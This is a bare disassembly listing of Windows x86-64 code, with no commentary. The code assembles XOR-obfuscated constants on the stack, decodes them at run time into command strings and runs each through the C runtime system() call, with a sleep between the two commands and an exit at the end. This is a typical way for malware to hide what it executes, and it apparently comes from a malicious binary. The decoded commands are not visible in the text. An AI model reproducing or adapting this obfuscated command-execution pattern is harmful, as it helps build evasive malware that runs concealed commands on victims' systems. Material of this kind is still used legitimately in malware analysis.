mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x330], rax
movabs rax, 0x6d5e9f808b3e112
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x338], rax
movabs rax, 0x9380ac7b2c5d708b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x340], rax
movabs rbx, 0x539bb4862c1eab42
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x348], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x360], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x368], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x370], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x378], rax
movabs r12, 0x9380ac7b492515a5
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x380], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x388], rax
vmovdqu ymm0, ymmword [rbp + 0x360]
vpxor ymm1, ymm0, ymmword [rbp + 0x320]
vmovdqa ymmword [rbp + 0x320], ymm1
vmovdqa xmm2, xmmword [rbp + 0x340]
vxorps xmm2, xmm2, xmmword [rbp + 0x380]
vmovdqa xmmword [rbp + 0x340], xmm2
lea rcx, [rbp + 0x320]
vzeroupper
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
movabs rax, 0x5f28c2442101d4b5
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x360], rax
movabs rax, 0x953060751b678057
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x368], rax
movabs rax, 0xfe99737830aa5d06
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x370], rax
movabs rax, 0x9c8e1c60cb4e114
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x378], rax
movabs rax, 0xf6f8c955234b7cf9
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x380], rax
movabs rax, 0x6da994ea59709562
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x388], rax
movabs rax, 0x39c26c151b20cbd1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x390], rax
movabs rcx, 0xd99492b83f022874
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x398], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x320], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x328], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x330], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x338], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x340], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x348], rax
movabs rax, 0x39c26c151b20faf7
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x350], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x358], rax
vmovdqu ymm0, ymmword [rbp + 0x320]
vpxor ymm1, ymm0, ymmword [rbp + 0x360]
vmovdqa ymmword [rbp + 0x360], ymm1
vmovdqu ymm0, ymmword [rbp + 0x380]
vpxor ymm1, ymm0, ymmword [rbp + 0x340]
vmovdqa ymmword [rbp + 0x380], ymm1
lea rcx, [rbp + 0x360]
vzeroupper
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3